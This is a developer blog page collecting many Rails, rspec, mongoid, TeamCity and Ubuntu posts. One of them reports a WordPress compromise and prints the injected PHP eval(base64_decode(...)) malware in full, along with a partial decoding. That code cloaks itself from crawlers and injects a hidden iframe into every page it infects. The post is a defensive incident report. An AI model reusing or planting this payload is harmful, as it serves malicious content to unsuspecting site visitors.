what did i learn today
jottinx 0.0.14

Release 0.0.14:

  • fixed a problem when a Google Notebook contained links. In the atom xml they look like this:
\<link rel="related" href="" title="Some title"\>

These can now be imported correctly. Note that if you want to click links inside a note, it will immediately try to edit the note. Currently the work-around is to right-click on the link. I am thinking about a cleaner solution.

  • improved the explanation on the Import page a little Also, if you would be worried, you can export your Google Notebook for at least a few months.
More ...
jottinx 0.0.13

Release 0.0.13:

  • fixed a problem with line-endings when importing from Google Notebook
  • adding a new note now behaves as it should
  • added a link to this blog
  • various cosmetic improvements

Next up:

  • delete items to a trash-can, so you can always restore them later

  • allow exporting –if a users wants to leave her data/notes are not lost. But for now, I want the users to find it first :)

  • upon importing jump to the uploaded page

  • allow moving/reordering notes

  • some more cosmetic fixes:

    • remember me: label is not clickable
    • flashes should disappear or be closeable
    • the delete-note link should be styled/placed better If you have more suggestions, problems, ideas: I would be happy to hear them.
More ...
jottinx 0.0.12

I just released 0.0.12.

Google Notebook Importing

Importing from Google Notebook now is decent.

  • upon importing the layout is converted to Markdown, and this is pretty close. Google Notebook had some weird ways to store the layout, so some things are not completely as it was. If you are having troubles with it, please contact me.
  • from the Atom XML it seems impossible for me to deduce the original order, so I order them on the last updated date. So if you have been moving stuff around, that order is lost. I will make sure you can reorder the items soon.

Next steps

  • Improve robustness and looks
  • allow exporting --if a users wants to leave her data/notes are not lost. But for now, I want the users to find it first :)
  • upon importing jump to the uploaded page
  • allow moving/reordering notes
  • still not quite sure if the tabs is the best solution. For now it is ok. Can get messy with a lot of books (as I have) And I guess a lot more will come up later. If you have any suggestions, let me know.
More ...
Introducing Jottinx

Until recently I was an avid Google Notebook user. I liked the simplicity. I just used it to collect ideas, links, scraps, jottings, but also important stuff I should not forget. I never really used the formatting, and neither the tags. Plain and simple. When I heard it would be discontinued, I looked around for a plain and simple alternative, and decided to build my own. Jottinx is the result of this. Jottinx in short:

  • dead-easy
  • note-taking and nothing more
  • uses markdown for formatting
  • imports your data from Google Notebook
  • is and will always be free
  • you remain the owner of your data, so you can always export your data back out again For the moment it still very much is a work in progress, but I hope you will give it a try.
More ...
News content_for view testing yield rails rspec
[rspec] view testing: testing the content_for results

I normally do not do a lot of view specs, but at least I want to make sure that my view renders without errors. And sometimes I really need to make sure that some link is shown or hidden depending on e.g. the role of the user or linked objects.

For example,

 describe "posts/show.html.haml" do
   context "without any comments" do
     it "displays no comments" do
       @post = Factory(:post)
       rendered.should contain(I18n.t(''))

So we check the rendered result, whether it contains a specific text.

But what happens if your view is rendering different yield regions? Like a body (the default region) and a sidebar.

Let's use a view like this :

  = show_for @post do |p|
    = p.attribute :title 
    = p.attribute :content
  - if @post.comments
    = render :partial => 'comments' 
  - else 
    = t('')
  = content_for :sidebar do
    = link_to 'Edit', edit_post(@post) if is_allowed_to?(:edit)

It renders the attributes using the show_for gem, and then renders inside the sidebar a link if the current user is allowed to edit it.

Now I want to test what is rendered into the sidebar. To my dismay I found that neither content_for or content_for?worked at all inside rspec.

And rendered does not contain the data for the other regions.

So somehow I would want to get to the content for :sidebar.

It appears that the different regions are actually stored inside an instance variable of the view. Once I figured that out, the rest was easy:

  describe "posts/show.html.haml" do
    def rendered_content_for(name)
    context "with enough rights" do
      it "displays a link to edit the post" do
        @post = Factory(:post)
        view.stub(:is_allowed_to?) { true }
        rendered_content_for(:sidebar).should contain('Edit') 
    context "with no rights" do
      it "does not display a link to edit the post" do
        @post = Factory(:post)
        view.stub(:is_allowed_to?) { false }
        render rendered_content_for(:sidebar).should_not contain('Edit')

Hope that this helps somebody. Or did you find a better way?

More ...
Speeding up rspec tests

We have a large test-suite that runs >2200 examples, that took 900 seconds to complete on my machine. Using a few optimisation techniques I was able to bring this time down to 650secs. Which is still long :) But if I run the tests in parallel it takes me down to 300secs (I have two cores). First off, I think it is crucial that your tests are as much as possible in isolation. You are only testing the code under test. Only the model, the controller, the view. This is not something we do consequently everywhere. Sometimes I stub the ActiveRecord finders, but more often I do not. I just make sure the correct data is available. But when a controller calls a method on a model, which I have tested in the model-test, I can safely stub that call. That is sometimes the hardest call: how much mocking and stubbing will you do. A lot of mocks and stubs will make your tests fast, but also brittle, as they are tied in too much with the implementation. If I am certain that the used modules are tested correctly, I will use mocks and stubs. Otherwise I test the used modules as well. So why test ActiveRecord as well? Because sometimes I use somewhat complicated queries and scopes, and want to make sure I did not make a mistake there. Aside of that, my tips to speed up rspec tests:

  • speed up your database: either use sqlite if possible, or tune your database for maximum speed. In my case I am using postgresql and i did the following to improve that.
    • set fsync=off in postgresql.conf
    • set shared_buffers to 28MB -- I even tried setting it to 128MB but that did not make any difference anymore. Using these settings will make postgresql almost behave as an in-memory database. You can even take it further, see here.
  • If you need a lot of data instantiated, using factories, use before(:all) instead of before(:each). Clean up the data in the after(:all). Note: we cannot use before(:all) for everything. Look that up :)
  • use tip from corey haines where applicable to not include spec_helper. For me this means you should take a good look at your spec_helper. We included a lot of helpers and support-methods in our spec_helper, which makes it every easy to write a test, but also makes running a test slower. Maybe it could be profitable to always use a lean spec_helper, and include what you need inside your spec-file. And for some files inside your lib you probably don't even need spec_helper at all.
  • Test smart! Use factories, but always try to create the minimum set needed to work. If you need more than 1 item, 2 items will suffice :)
  • Use rspec-prof to profile slow parts

Do you have any more tips to speed up tests?

More ...
News cocoon nested model form rails3 ruby on rails
a guide to doing nested model forms in rails (3.1)

One recurring problem when doing Ruby on Rails development is a nested model form.

Nested Model Form: a single form that contains multiple, nested models.

For example a project with its tasks. A nested model form will allow you to create or edit, in 1 form, the project and each of its tasks.

With the use of cocoon, this post will describe how to create a nested model form for some (all?) of the possible relations.

All these examples start from the project, so we will just start with a dummy project as follows:

rails g scaffold Project name:string

That's all we need to get started. In these examples i am using simple_form and slim (which looks a lot like haml, but is much faster).

The simple :has_many

The simple :has_many is the most occurring relation (unfortunately no scientific data to back that up). The simple :has_many is a relation where the child cannot exist without the parent, and where each child can have only one parent. A typical example is the project and his tasks. Each task is unique, each task only exists because of the project. If the project is gone, so are the tasks.

First the models:

class Project < ActiveRecord::Base 
  has_many :tasks 
  accepts_nested_attributes_for :tasks, :reject_if => :all_blank, :allow_destroy => true

class Task < ActiveRecord::Base 
  belongs_to :project, inverse_of: :tasks 

The accepts_nested_attributes_for method makes sure that when posting the project-data, it will accept the attributes for the nested model.

Secondly we add the views. Inside the project _form.html.slim we add

    = f.simple_fields_for :tasks do |task|
      = render 'task_fields', :f => task
      = link_to_add_association 'add task', f, :tasks

Create a partial called projects_task_fields.html.slim which looks like:

  = f.input :name
  = f.input :description
  = f.input :done, :as => :boolean
  = link_to_remove_association "remove task", f

The nested :has_many

Actually this is a simple extension of the previous example. For instance, a project with tasks, and each tasks has sub-tasks.

Our models:

  class Task < ActiveRecord::Base 
    has_many :sub_tasks 
    accepts_nested_attributes_for :sub_tasks, :reject_if => :all_blank, :allow_destroy => true 

class SubTask < ActiveRecord::Base 

Edit the projects_task_fields.html.slim :

  = f.input :name 
  = f.input :description 
  = f.input :done, :as => :boolean 
    = f.simple_fields_for :sub_tasks do |sub_task|
    = render 'sub_task_fields', :f => sub_task 
      = link_to_add_association 'add sub-task', f, :sub_tasks
  = link_to_remove_association "remove task", f

and add the view projects_sub_tasks.html.slim (which bears a lot of resemblance to the previous tasks-partial):

  = f.input :name 
  = f.input :description 
  = link_to_remove_association "remove sub-task", f

The look-up or create :belongs_to

A simple :belongs_to would mean that the parent would already exist, and a simple look-up (dropdown list) would suffice. If the parent is always unique, it can be solved in the same way as the :has_many. So, let's describe a solution for the case where we either select the item from a list, or create a new one.

Our project has an owner (which is a person):

    class Project < ActiveRecord::Base
      belongs_to :owner, :class_name => 'Person'
      accepts_nested_attributes_for :owner, :reject_if => :all_blank
    class Person < ActiveRecord::Base

inside the _projects/_form.html.slim we add the following:

        = f.association :owner, :collection => Person.all(:order => 'name'), :prompt => 'Choose an existing owner'
      = link_to_add_association 'add a new person as owner', f, :owner

Here we use the built-in way from simple_form to select an association from a look-up list: f.association. But secondly, we place the link_to_add_association that will render the partial projects/_owner_fields.html.slim and create a new Person and link to him.

The partial itself is pretty straightforward:

      = f.input :name
      = f.input :role
      = f.input :description
      = link_to_remove_association "remove owner", f

Now if you implement this, the form is functioning but not really user-friendly.

What we want is that when clicking the add a new person as owner-link, that the drop-down box and the link itself disappear. When we choose to remove the to-be created owner, that the drop-down and add-link reappear.

So we need to add a bit of extra javascript.

Open up app\javascripts\projects.js and add:

    $(document).ready(function() {
      $("#owner a.add_fields").
        data("association-insertion-position", 'before').
        data("association-insertion-node", 'this');

         function() {
           $("#owner a.add_fields").hide();
         function() {
           $("#owner a.add_fields").show();

The first two lines control where the new partial (the new owner) will appear.

Upon insertion or removal, cocoon will trigger callbacks that are defined on the parent-container of the add-link. The last lines add those callbacks, and these will make sure that the link and dropdownbox will be hidden or shown again.

The :has_many :through relation

A classic example of this relation are tags. Something has tags, those can be chosen from an exisiting list of tags, one or more, or one could create new tags. This relation is, again, an extension of the previous solution.

This solution is a bit more complicated, because there is a bit more javascript involved here.

The models:

    class Project < ActiveRecord::Base
      has_many :project_tags
      has_many :tags, :through => :project_tags, :class_name => 'Tag'

      accepts_nested_attributes_for :tags
      accepts_nested_attributes_for :project_tags
    class ProjectTag < ActiveRecord::Base
      belongs_to :tag
      belongs_to :project

      accepts_nested_attributes_for :tag, :reject_if => :all_blank

    class Tag < ActiveRecord::Base

inside the projects/_form.html.slim add:

      = f.simple_fields_for :project_tags do |project_tag|
        = render 'project_tag_fields', :f => project_tag
      = link_to_add_association 'add a tag', f, :project_tags

Create a file projects/_project_tag_fields.html.slim containing:

    = f.association :tag, :collection => Tag.all(:order => 'name'), :prompt => 'Choose an existing tag'
  = link_to_add_association 'or create a new tag', f, :tag
  = link_to_remove_association "remove tag", f

And create another file projects/_tag_fields.html.slim:

  = f.input :name, :hint => 'how should it be tagged'

When entering all this, it should be working, but it looks a bit confusing. The dropdown box does not disappear (as before). So we need the following bit of javascript to projects.js:

    $("#tags a.add_fields").
      data("association-insertion-position", 'before').
      data("association-insertion-node", 'this');

         function() {
             $(".project-tag-fields a.add_fields").
                 data("association-insertion-position", 'before').
                 data("association-insertion-node", 'this');
                  function() {

While this javascript is doing almost the same as with the :belongs_to it is a bit more complicated, because the tag-partial is not yet inside in the page, so neither is the parent-div. Once that is clear, it is actually quite obvious what it does (I hope). Upon insertion of a new (project)tag, it also adds the callbacks for the insertion and removal of a new tag.

Example Code

All these examples are demonstrated in a working project: cocoon-simple-form-demo. If you can think of more relations you would like to see solved, or see an example of, please let me know.

Hope this helps.

More ...
News arrrrcamp fast tests rails rspec
Rethinking your design: slim models, fat presenters?

For me, it started with a tweet from Uncle Bob Martin, saying that if all your domain logic is in your model, or if you put your domain logic inside your models by default, then you are doing it wrong. I think the reasoning behind this is that we should design the domain model before relying on our database model (which is actually an implementation of that domain model). Because the best way to store something in the database is not always to best way to treat or represent or handle the data. In my Rails projects, I have to admit that in most cases the database is my domain model. Which in simple cases is correct, but in more complex cases it is not anymore. Secondly what happens is that your database model could shine through in your UI, or if it does not, your views or helpers could get very heavy. One good way to handle this is to use Presenters. Which goes into the direction of that domain logic, independent of the database. A Presenter is a class that groups all data, knows where to find it, or store it, and will match one-on-one on your presentation/view logic. Thirdly, I went to arrrrcamp, and there was Corey Haines doing his talk about Fast Rails Tests. While this title was very promising, Corey warned us that, in his own words, we would be underwhelmed. This was not entirely true, but not entirely false either :) In short what Corey said was: testing in Rails is slow because we need to drag around the framework, so why not cut out the framework where possible. So he showed an example where he extracted code from models and into separate modules, where you test them standalone. Standalone means: without requiring @spec_helper@. I did this for our modules inside @lib@ where possible, and truth be told: those specs now really fly! Awesome. But the large parts of our test-suite is our models, controllers, views, helpers where this is not possible nor wanted. I want to be able to run our complete test-suite faster, and this was not a solution for that. We scraped a few seconds of our complete time. Extracting code from our models into standalone modules will not make our total test-suite go faster either. Still it is something well worth investigating further. I don't believe in splitting up classes into modules just for the sake of making my tests faster. There has to be some logical reason (pertaining to the domain model --that is). But maybe presenters could be the way out here:

  • they group domain logic
  • while they are responsible for retrieving the correct objects from the database, these actions are just delegated to the responsible models So that sounds promising to me and a road I will investigate.
More ...
Technology ruby mongodb mongoid
[mongoid] adding timestamps to an existing mongo collection

In our Rails 3 application we use mongo to store logging of critical actions. At first we did not store a separate timestamp, since the _id (which is a BSON::ObjectId contains a timestamp as well. Our model, simplified, looked like this: [ruby] class Log include Mongoid::Document # mongo id's contain timestamps, 4 bytes = epoch def timestamp[id.to_s].pack("H8").unpack("N")[0]) end end [/ruby] This is all fine and dandy, but when we wanted to build some reporting, of course we were unable to filter and query based upon date. Mongoid has an easy way to add timestamp fields, and will add the timestamp to all the newly created documents for you. Inside your model just add: [ruby] include Mongoid::Timestamps::Created [/ruby] We only need to track the creation-time, since we are not interested in any updates. Including Mongoid::Timestamps will add and maintain both created_at and updated_at. Now all that remained was adding the created_at field to all existing data. We needed reporting, but also on the existing data. Luckily, the value of the field was known, using the timestamp hidden in the id. Secondly, building a script to add and populate the field was also not too hard. This gist was my inspiration, but unlike that script, I was able to use the higher level interface of Mongoid. [ruby] # To allow querying on time-ranges, we need to add the created_at field. # Querying on the timestamp does not seem possible, which is not completely surprising # as it is (if i understand correctly) a part of the _id field. # # As a one time operation, we iterate over all documents and add the created_at field # This script has to be run in the Rails environment, please use : # # rails runner script/convert_mongo_add_created_at.rb # COLLECTIONS = ["your-collection"] # Put a list of collection names here def convert_collection(collection) skipped_docs = 0 all_converted_docs = 0 Audit::Log.all.each do |doc| unless doc.respond_to?(:created_at) && doc.created_at.present? doc[:created_at] = doc.timestamp all_converted_docs +=1 else skipped_docs += 1 end end puts " added :created_at to #{all_converted_docs} documents [skipped: #{skipped_docs}]" puts "Converted #{collection}" end puts "Start conversion ..." @db = Mongoid.database COLLECTIONS.each do |collection| convert_collection collection end [/ruby]

More ...
News ruby mongo mongoid
[mongoid] doing a group-by on date

Doing a simple group-by query using mongo and mongoid is actually pretty straightforward. According to the documentation, mongoid does not offer any group/aggregation function itself, but mongo does. And you can directly access the mongo using the collection. So assume we have a mongo collection: [ruby] class Log include Mongoid::Document include Mongoid::Timestamps::Created field :action, :type => String end [/ruby] and now I want to count all occurrences of the different actions. [ruby] => "action", :initial => { :count => 0 }, :reduce => "function(doc,prev) { prev.count += +1; }") [/ruby] This will return an array of hashes as follows: [ruby] [{"action"=>"create", "count"=>1565.0}, {"action"=>"update", "count"=>2142.0}, {"action"=>"destroy", "count"=>27.0}] [/ruby] That is already very nice. But now I want to get the results of a certain action, grouped per day and month. [ruby] => "function(doc) { d = new Date(doc.created_at); return {nr_month: d.getMonth(), nr_day: d.getDate() }; }", :initial => { :visits => 0 }, :reduce => "function(doc,prev) { prev.visits += +1; }" ) [/ruby]Notice: the value of :keyf and :reduce is a string containing javascript. This is very flexible, but important: no ruby! But since it is a string, you can use string interpolation to get values in there. We should, of course, add a condition, to limit the result-set. So something like this: [ruby] => "function(doc) { d = new Date(doc.created_at); return {nr_month: d.getMonth() }; }", :initial => { :visits => 0 }, :reduce => "function(doc,prev) { prev.visits += +1; }", :cond => {:action => 'create'}) [/ruby] This will returns the logged create per month.Notice: the :cond and :initial contain regular ruby hashes. Selecting on a date-range is also pretty easy, once you know how this took me hours to find : [ruby] => "function(doc) { d = new Date(doc.created_at); return {nr_month: d.getMonth() }; }", :initial => { :visits => 0 }, :reduce => "function(doc,prev) { prev.visits += +1; }", :cond => {:created_at => {'$gte' => Time.utc(2011,04), '$lt' => Time.utc(2011,05) }) [/ruby] I still have some weird offset error with the dates, since I also get a few from the previous month, but I guess this has something to do with the time-zones. Now, Mongoid can help us to write the condition. We can do something like: [ruby] conditions = Log.where(:created_at.gte =>, :created_at.lte => => "function(doc) { d = new Date(doc.created_at); return {nr_month: d.getMonth() }; }", :initial => { :visits => 0 }, :reduce => "function(doc,prev) { prev.visits += +1; }", :cond => conditions) [/ruby] Hope this helps.

More ...
Technology rails31 ruby on rails
rails 3.1: creating a new application (fast!)

Take the following steps, by preference install this in a specific gemset [ruby] rvm gemset create rails31 rvm gemset use rails31 gem install bundler gem install rails --pre [/ruby] These steps will create a new gemset and start using it, then install bundler and rails 3.1 (which is still pre-release at the time of writing). Now in rails 3.1 there is a new requirement: you will need a javascript runtime. You can see the full list here. If you are on linux and using straight ruby then therubyracer is just fine. Type [ruby] gem install therubyracer [/ruby] Creating a new rails-project always poses the same problem: creating a new project, with your set of gems, which all have to installed, generators need to be ran ... Rails Wizard solves that. [ruby] gem install rails_wizard [/ruby] Type rails_wizard list to see all possible templates. To create a new rails 3.1 project using jquery, rspec, haml, devise you just need to write: [ruby] rails_wizard new your_new_application_name -r jquery rspec haml devise [/ruby] To go full out on options, you could write: [ruby] rails_wizard new your_new_application_name -r jquery rspec haml devise sass settingslogic git [/ruby]


If you are using a specific gemset for your project, please remember to add your javascript runtime (e.g. I used therubyracer) to your Gemfile. ... and you are ready to go! Happy coding :)

More ...
Technology wordpress hacked
my wordpress sites were hacked: eval base64_decode

I maintain three wordpress blogs, all hosted at WebFaction. And suddenly this morning, inside all my index.php the first line looked as follows: [sourcecode language="php"] <?php eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGJvdCA9IEZBTFNFIDsNCiR1c2VyX2FnZW50X3RvX2ZpbHRlciA9IGFycmF5KCdib3QnLCdzcGlkZXInLCdzcHlkZXInLCdjcmF3bCcsJ3ZhbGlkYXRvcicsJ3NsdXJwJywnZG9jb21vJywneWFuZGV4JywnbWFpbC5ydScsJ2FsZXhhLmNvbScsJ3Bvc3RyYW5rLmNvbScsJ2h0bWxkb2MnLCd3ZWJjb2xsYWdlJywnYmxvZ3B1bHNlLmNvbScsJ2Fub255bW91c2Uub3JnJywnMTIzNDUnLCdodHRwY2xpZW50JywnYnV6enRyYWNrZXIuY29tJywnc25vb3B5JywnZmVlZHRvb2xzJywnYXJpYW5uYS5saWJlcm8uaXQnLCdpbnRlcm5ldHNlZXIuY29tJywnb3BlbmFjb29uLmRlJywncnJycnJycnJyJywnbWFnZW50JywnZG93bmxvYWQgbWFzdGVyJywnZHJ1cGFsLm9yZycsJ3ZsYyBtZWRpYSBwbGF5ZXInLCd2dnJraW1zanV3bHkgbDN1Zm1qcngnLCdzem4taW1hZ2UtcmVzaXplcicsJ2JkYnJhbmRwcm90ZWN0LmNvbScsJ3dvcmRwcmVzcycsJ3Jzc3JlYWRlcicsJ215YmxvZ2xvZyBhcGknKTsNCiRzdG9wX2lwc19tYXNrcyA9IGFycmF5KA0KCWFycmF5KCIyMTYuMjM5LjMyLjAiLCIyMTYuMjM5LjYzLjI1NSIpLA0KCWFycmF5KCI2NC42OC44MC4wIiAgLCI2NC42OC44Ny4yNTUiICApLA0KCWFycmF5KCI2Ni4xMDIuMC4wIiwgICI2Ni4xMDIuMTUuMjU1IiksDQoJYXJyYXkoIjY0LjIzMy4xNjAuMCIsIjY0LjIzMy4xOTEuMjU1IiksDQoJYXJyYXkoIjY2LjI0OS42NC4wIiwgIjY2LjI0OS45NS4yNTUiKSwNCglhcnJheSgiNzIuMTQuMTkyLjAiLCAiNzIuMTQuMjU1LjI1NSIpLA0KCWFycmF5KCIyMDkuODUuMTI4LjAiLCIyMDkuODUuMjU1LjI1NSIpLA0KCWFycmF5KCIxOTguMTA4LjEwMC4xOTIiLCIxOTguMTA4LjEwMC4yMDciKSwNCglhcnJheSgiMTczLjE5NC4wLjAiLCIxNzMuMTk0LjI1NS4yNTUiKSwNCglhcnJheSgiMjE2LjMzLjIyOS4xNDQiLCIyMTYuMzMuMjI5LjE1MSIpLA0KCWFycmF5KCIyMTYuMzMuMjI5LjE2MCIsIjIxNi4zMy4yMjkuMTY3IiksDQoJYXJyYXkoIjIwOS4xODUuMTA4LjEyOCIsIjIwOS4xODUuMTA4LjI1NSIpLA0KCWFycmF5KCIyMTYuMTA5Ljc1LjgwIiwiMjE2LjEwOS43NS45NSIpLA0KCWFycmF5KCI2NC42OC44OC4wIiwiNjQuNjguOTUuMjU1IiksDQoJYXJyYXkoIjY0LjY4LjY0LjY0IiwiNjQuNjguNjQuMTI3IiksDQoJYXJyYXkoIjY0LjQxLjIyMS4xOTIiLCI2NC40MS4yMjEuMjA3IiksDQoJYXJyYXkoIjc0LjEyNS4wLjAiLCI3NC4xMjUuMjU1LjI1NSIpLA0KCWFycmF5KCI2NS41Mi4wLjAiLCI2NS41NS4yNTUuMjU1IiksDQoJYXJyYXkoIjc0LjYuMC4wIiwiNzQuNi4yNTUuMjU1IiksDQoJYXJyYXkoIjY3LjE5NS4wLjAiLCI2Ny4xOTUuMjU1LjI1NSIpLA0KCWFycmF5KCI3Mi4zMC4wLjAiLCI3Mi4zMC4yNTUuMjU1IiksDQoJYXJyYXkoIjM4LjAuMC4wIiwiMzguMjU1LjI1NS4yNTUiKQ0KCSk7DQokbXlfaXAybG9uZyA9IHNwcmludGYoIiV1IixpcDJsb25nKCRfU0VSVkVSWydSRU1PVEVfQUREUiddKSk7DQpmb3JlYWNoICggJHN0b3BfaXBzX21hc2tzIGFzICRJUHMgKSB7DQoJJGZpcnN0X2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1swXSkpOyAkc2Vjb25kX2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1sxXSkpOw0KCWlmICgkbXlfaXAybG9uZyA+PSAkZmlyc3RfZCAmJiAkbXlfaXAybG9uZyA8PSAkc2Vjb25kX2QpIHskYm90ID0gVFJVRTsgYnJlYWs7fQ0KfQ0KZm9yZWFjaCAoJHVzZXJfYWdlbnRfdG9fZmlsdGVyIGFzICRib3Rfc2lnbil7DQoJaWYgIChzdHJwb3MoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCAkYm90X3NpZ24pICE9PSBmYWxzZSl7JGJvdCA9IHRydWU7IGJyZWFrO30NCn0NCmlmICghJGJvdCkgew0KZWNobyAnPGlmcmFtZSBzcmM9Imh0dHA6Ly93dW1wZWFycG15LmN6LmNjL2dvLzEiIHdpZHRoPSIxIiBoZWlnaHQ9IjEiPjwvaWZyYW1lPic7DQp9')) [/sourcecode] Decoded, it looks as follows: [sourcecode language="php"] error_reporting(0); $bot = FALSE ; $user_agent_to_filter = array('bot','spider','spyder','crawl','validator','slurp','docomo','yandex','','','','htmldoc','webcollage','','','12345','httpclient','','snoopy','feedtools','','','','rrrrrrrrr','magent','download master','','vlc media player','vvrkimsjuwly l3ufmjrx','szn-image-resizer','','wordpress','rssreader','mybloglog api'); $stop_ips_masks = array( array("",""), array("" ,"" ), array("", ""), array("",""), array("", ""), array("", ""), array("",""), array("",""), array("",""), array("",""), array("",""), array("",""), array("",""), array("",""), array("",""), array("",""), array("",""), array("",""), array("",""), array("",""), array("",""), array("","") ); $my_ip2long = sprintf("%u",ip2long($_SERVER['REMOTE_ADDR'])); foreach ( $stop_ips_masks as $IPs ) { $first_d=sprintf("%u",ip2long($IPs[0])); $second_d=sprintf("%u",ip2long($IPs[1])); if ($my_ip2long >= $first_d && $my_ip2long <= $second_d) {$bot = TRUE; break;} } foreach ($user_agent_to_filter as $bot_sign){ if (strpos($_SERVER['HTTP_USER_AGENT'], $bot_sign) !== false){$bot = true; break;} } if (!$bot) { echo '<iframe src="" width="1" height="1"></iframe>'; } [/sourcecode] So, roughly, if I understand correctly, it will show an extra iframe with some source it will need to load, but only if the user-agent and ip are not in the list of blocked ips, or blocked bots. My guess: to make sure your site will not be blacklisted, but any visitor will still get spammed. Ok. But how to fix this? First thing was easy: just edit the index.php and fix it! Remove the eval-line! Secondly I notified my host of this. One blog was not using the latest version, so i updated that one. I verified the files of all my blogs against the latest version of Wordpress (3.1.3), and they were all identical except for the mentioned index.php. I changed my ssh/ftp password, because if the attacker had access to all three sites, that seemed to the only option. But within two hours the index-files where hacked again. Ok. This was getting serious. I installed the following plugins:

  • BulletProof Security: does a lot to tighten the security of your site, mainly through adding correct .htaccess files (as far as i can tell). I hope it works :)
  • Wordpress File Monitor Plus: checks if any files are tampered with, and will mail me otherwise
  • WP Security Scan: does a standard series of checks (was not very useful), and also provides some tools to check your passwords and migrate your db-prefix.
  • Wordpress File Monitor: will notify me if any of the wordpress files is tampered with. I hope this will prove to be useful in the future. Not sure if it will help me now ...
  • Exploit Scanner: this scans all files and checks for eval and base64_decode. Only my index.php seem to be touched, but a lot of plugins have code that seems fishy, but I think they are not. I am not seeing any obviously wrong code now. So I am still a bit weary how the index.php could get hacked again.
  • AntiVirus: this checks for the permalink backdoor (all my sites were clear), and can check the current theme. This works for all my sites except one (strange!) I also changed my secrets in the wp-config.php. I asked my hoster for the log-files. I hope to see something suspicious there. My index.php have not yet been overwritten again, so I hope this will do. I will keep you posted.
More ...
News ci teamcity ruby on rails
configuring TeamCity to run rails projects

In our team we are very happy users of RubyMine, by JetBrains. Now JetBrains also has a continuous integration server, called TeamCity, and it is also capable to run rails rake tasks. Installing TeamCity is close to a non-operation, as described on their website. Just download the package, extract, and run bin/ start. Then you can browse to http://localhost:8111 and you are up and running. Unfortunately, getting the build to actually run was a bit more complicated in our case. Our prerequisets:

  • we do not check in any configuration file (like config.yml, database.yml, ...) so each developer can have their own settings.
  • we use bundler to manage our gem dependencies We use the rake runner, but as you might know: rake tasks will not run unless the bundle is up to date. Luckily we are not the first to encounter that problem, and the suggested solution is actually quite simple, although a bit backward: use a custom rakefile, that will first run the bundle install, then require the actual Rakefile from which you can run the tasks. To create the log folder, the css files (we use sass), the config-files, i had to create specific rake-tasks. We also had a problem that our database was always somehow corrupt. Upon thorough investigation, i was able to pin-point this on the rake db:test:prepare task, that actually does not load the database from the schema.rb, but tries to clone the development database! On our continous integration server there is no development database! So i cleared the db:test:prepare task. Our custom rakefile then looked as follows: [ruby] directory "log" task 'copy_rakefile' do cp 'Rakefile', 't_rakefile.rb', {:verbose => true} end task :bundle_install do sh 'bundle install' end task :sass do Sass::Plugin.update_stylesheets end task :default => [:bundle_install, 'copy_rakefile', 'log'] do RAILS_ENV = ENV['RAILS_ENV'] = 'test' require File.dirname(__FILE__) + '/t_rakefile' # launch rake tasks from the original Rakefile Rake::Task["log:clear"].invoke Rake::Task["teamcity:init_config"].invoke Rake::Task['db:test:prepare'].clear Rake::Task["db:reset"].invoke Rake::Task["environment"].invoke Rake::Task['sass'].invoke Rake::Task["test"].invoke Rake::Task["spec"].invoke Rake::Task["cucumber"].invoke end [/ruby] We had to copy the Rakefile, so we could later require it as a straight ruby-file. Note that to disable the db:test:prepare i used the following code: [ruby] Rake::Task['db:test:prepare'].clear [/ruby] Simple, isn't it :) It's also only cleared when running the teamcity:build, just as we want it. Now we got this working, it is time to enjoy the goodies TeamCity offers us, like spreading over different build agents.
More ...
Technology image_tag rspec2 rails3
testing image_tag using rspec2 and rails3

When testing your helpers, you might want to test if your call to image_tag generates the correct output. Unfortunately, in Rails, for caching purposes, the asset tag is added which makes testing it somewhat unreliable. Luckily there is an easy way around that. If you define the environment variable RAILS_ASSET_ID, that is used instead of some permutation of the file-creation-date/time. You could set RAILS_ASSET_ID to a specific number, simplifying the tests, because the number will always be the same, on all machines executing the tests. But if you set RAILS_ASSET_ID to an empty string, it effectively removes the tag from the link. For testing this is exactly what we want. So an easy way to test is: [ruby] describe OperatorsHelper do context "get_operator_icon" do before(:each) do ENV['RAILS_ASSET_ID'] = '' end it "returns the image for any operator (not current)" do helper.stub(:current_operator?).and_return(false) @operator = Factory(:operator) helper.get_operator_icon(@operator).should == "<img alt="User-business-gray" src="/images/icons/user-business-gray.png" title="interactive user" />" end it "returns the image for the current operator" do helper.stub(:current_operator?).and_return(true) @operator = Factory(:operator) helper.get_operator_icon(@operator).should == "<img alt="User-business" src="/images/icons/user-business.png" title="interactive user (yourself)" />" end end end [/ruby] Hope this might help someone with the same problem :)

More ...
News 11.04 nvidia unity ubuntu
upgrading to Ubunty 11.04: nvidia troubles

When upgrading my development machine to Ubunty 11.04, Natty Narwal, I also had a problem with nvidia drivers, and I want to list all possible solutions to fix that. First the symptoms: my Ubuntu would boot up, but the screen would just turn black. When booting in failsafeX it would work, but not with Unity (I would get white areas instead of window-content), because it needs the 3D acceleration? But when trying to enable the nvidia card in any way, and rebooting normally, I would end up with black screens. So what did i attempt to fix all that:

  • I removes the previously installed drivers and installed them again: this will make sure the drivers are rebuilt against the current kernel. This could already help.
  • Booting through failsafeX and activating the current driver; also using the previous driver (173): did not help me either
  • i added UNITY_FORCE_START=1 to /etc/environment as mentioned here (as GeForce 7300/7400 are blacklisted, but i have a GeForce Go 7100) But it all kept failing. So, last resort (I should have thought of it earlier), I investigated the X-logfiles. Inside my /var/log/Xorg.0.log I found that nvidia had problems allocating the memory: [bash] [14.055] (EE) NVIDIA(0): Failed to allocate primary buffer: out of memory. [14.055] (EE) NVIDIA(0): *** Aborting *** [/bash] Apparently this is a known bug, and i had to do the following to fix this:
  • edit /etc/default/grub
  • find the option GRUB_CMDLINE_LINUX and add nopat, so for me this looked like [bash] GRUB_CMDLINE_LINUX="nopat" [/bash]
  • run sudo update-grub And then, finally, everything worked fine for me :) Hope this helps.
More ...
News actionwebservice rendering soap rails3
allowing double render in rails3

